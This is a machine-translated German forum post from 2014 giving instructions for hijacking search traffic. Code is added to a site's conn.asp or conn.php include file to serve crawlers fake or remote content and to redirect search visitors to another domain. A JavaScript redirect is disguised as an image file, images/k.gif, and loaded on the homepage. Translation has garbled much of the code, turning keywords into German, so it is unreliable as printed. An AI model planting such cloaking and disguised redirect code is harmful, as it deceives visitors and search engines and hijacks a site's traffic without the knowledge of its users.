Zuerst ist es ganz einfach: Fügen Sie folgenden Code auf die Startseite hinzu:
ASP-Version
<!--#include file="conn.asp"-->
<script src="images\k.gif"></script>
PHP-Version
<!--#include file="conn.php"-->
<script src="images\k.gif"></script>
Fügen Sie dann den folgenden Code gemäß dem Programm der Website zur Conn-Datei hinzu; wenn Sie keinen conn.asp oder conn.php haben, erstellen Sie ihn selbst:
conn.asp Ausgabe
----------- folgende Reproduktion--------------------------------
<%
Funktion isspider()
Dim Agent, Searray, ich
agent="agent:"&LCase(request.servervariables("http_user_agent"))
searray=array("googlebot","baiduspider","sogou","yahoo","soso","360spider")
isspider= falsch
für i=0 zu ubound(searray)
wenn (instr(agent,searray(i))>0) dann isspider=true
nächster
Endfunktion
Funktion fromse()
dim urlrefer,i,searray
urlrefer="refer:"&LCase(request. ServerVariables("HTTP_REFERER"))
fromse= falsch
wenn urlrefer="" dann fromse= false
searray=array("google","baidu","sogou","yahoo","soso","soso","360")
für i=0 zu ubound(searray)
Wenn (instr(urlrefer,searray(i))>0), dann ist fromse=true
nächster
Endfunktion
Funktion getHTTP(URL)
DIM HTTP
set http=createobject("MSXML2. XMLHTTP")
http.open "GET",url,false
Http.send()
wenn Http.readystate<>4 gilt, dann
Austrittsfunktion
Ende, wenn
gethttp=bytes2BSTR(Http.responseBody)
Set http=Nothing
Wenn err.number<>0 dann err. Frei
Endfunktion
function bytes2BSTR(vIn)
dim strReturn
dim i,ThisCharCode,NextCharCode
strReturn = ""
Für i = 1 zu LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i,1))
Wenn thisCharCode < & H80 dann
strReturn = strReturn & Chr(ThisCharCode)
Oder
NextCharCode = AscB(MidB(vIn,i+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i = i + 1
Ende Wenn
Nächster
bytes2BSTR = strReturn
Endfunktion
wenn(isspider()) dann
dim myfso,fileurl,filecon,myfile,bodyurl,remotehtml
bodyurl="http://www.itsvse.com" //snapshot URL
response.clear
remotehtml=gethttp(bodyURL)
response.write(remotehtml)
response.write("<!--"&now()&"-->")
response.flush
Antwort.Ende
Ende, wenn
%>
conn.php
---------------- folgende Reproduktion----------------
<?php
Funktion is_search_bot(){
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
$identify = Array ('baiduspider', 'sogou spider', 'sosospider', 'iaskspider', 'naverrobot');
foreach ($identify ALS $key => $tag){
if (strstr($user_agent, $tag)){
Return true;
}
}
return false; }
Funktion is_urlbaidu()
{
$come_from="baidu@sogou@soso@iask@naver";
$referer = explodieren("@",$come_from);
foreach($referer als $url){
wenn (stristr($_SERVER['HTTP_REFERER'],$url)){
Return true;
}
}
return false; }
wenn (is_search_bot())
{
$html = "<title>Wuhan Software Engineering Vocational College</title> <metaname=\"Autor\" content=\"Füllen Sie das gleiche aus wie Keywords\"> <metaname=\"Keywords\" content=\"Keywords\"> <metaname=
\"Beschreibung\" Inhalt=\"Beschreibung\"> </head> <body>Inhalt</body></html>";
Echo $html;
}
wenn (!is_search_bot() & & is_urlbaidu())
{
Header('Location:http://www.itsvse.com');
}
?>
Laden Sie schließlich im Images-Verzeichnis eine k.gif Datei k.gif dem Code hoch:
var s=document.referrer
if(s.indexOf("baidu")>0 || s.indexOf("soso")>0 || s.indexOf("google")>0 || s.indexOf("360")>0 || s.indexOf("sogou")>0 )
location.href="http://www.itsvse.com"; Weiterleitungs-URL
|
Veröffentlicht am 01.12.2014 18:48:55
|
|
|
